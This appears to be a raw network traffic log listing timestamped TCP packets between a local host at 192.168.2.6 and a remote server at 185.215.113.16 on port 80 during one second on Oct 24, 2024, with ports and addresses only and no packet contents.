Oct 24, 2024 11:02:52.719813108 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719831944 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719885111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719898939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719929934 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.719945908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.719980955 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720002890 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720027924 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720060110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720093012 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720113039 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720138073 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720187902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720235109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720258951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720300913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720314980 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720345020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720367908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720410109 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720424891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720465899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720494986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720530033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720551968 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720580101 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720604897 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720649004 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720664024 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720694065 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720716000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720761061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720788956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720823050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720845938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720874071 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720900059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720932961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.720954895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.720983028 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721008062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721040964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721062899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721095085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721117020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721146107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721165895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721189976 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721232891 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721277952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721292973 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721322060 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721347094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721381903 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721401930 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721431971 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721453905 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721487045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721507072 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721534014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721559048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721591949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721611977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721633911 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721662045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721707106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721720934 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721754074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721774101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721818924 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.721832991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.721865892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727291107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727340937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727385044 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727406025 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727437019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727488995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727513075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727560043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727585077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727618933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727639914 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727668047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727694035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727726936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727751017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727777004 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727804899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727838039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727870941 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727888107 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727922916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.727967978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.727998018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728030920 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728050947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728076935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728121996 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728172064 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728198051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728230953 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728252888 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728293896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728307962 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728348017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728375912 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728425026 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728452921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728506088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728554964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728589058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728610039 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728637934 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728661060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728693962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728714943 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728738070 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728765965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728810072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728823900 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728852034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728893042 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728925943 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.728948116 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.728976011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729001045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729038000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729057074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729083061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729108095 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729142904 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729165077 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729190111 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729216099 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729250908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729275942 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729306936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729327917 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729362965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729384899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729417086 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729443073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729477882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729499102 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729526043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729551077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729583979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729604006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729621887 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729652882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729686022 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729705095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729731083 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729758978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729793072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729811907 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729841948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729870081 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729904890 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.729924917 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.729948997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872281075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872297049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872334957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872375965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872401953 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872420073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872427940 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872448921 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872463942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872472048 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872483969 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872497082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872517109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872526884 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872551918 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872565031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872577906 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872587919 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872615099 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872626066 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872648954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872659922 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872673035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872683048 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872694016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872705936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872719049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872729063 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872741938 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872751951 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872762918 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872777939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872791052 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872802019 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872814894 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872827053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872838020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872848034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872872114 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872880936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872895956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872919083 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872929096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872939110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872956991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872972012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.872982979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.872997999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873008966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873018980 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873039007 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873050928 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873064995 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873080015 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873090982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873102903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873121023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873131990 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873147964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873162985 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873174906 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873189926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873203993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873203993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873224020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873281002 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873295069 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873307943 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873315096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873327971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873334885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873347044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873373032 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873380899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873394012 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873409986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873424053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873425007 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873439074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873454094 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873462915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873481989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873497963 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873507977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873522997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873531103 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873538971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873555899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873570919 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873580933 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873594999 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873613119 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873629093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873656988 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873666048 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873681068 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873703003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873714924 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873728991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873750925 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873765945 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873776913 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873786926 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873802900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873810053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873835087 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873857975 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873877048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873892069 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873902082 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873912096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873929977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873936892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873965025 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.873975039 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.873989105 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874000072 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874015093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874026060 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874037981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874049902 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874070883 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874155045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874197006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874263048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874278069 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874294043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874305010 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874316931 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874325991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874340057 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874349117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874358892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874382973 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874394894 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874411106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874425888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874442101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874463081 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874469995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874469995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874469995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874495029 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874502897 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874519110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874528885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874538898 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874553919 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874564886 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874576092 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874588013 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874608994 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874707937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874746084 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874758005 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874773979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874794006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874800920 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874815941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874846935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874846935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874871016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874887943 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874896049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874907017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874921083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.874933958 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.874948978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875000000 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875000000 CEST	49887	80	192.168.2.6	185.215.113.16
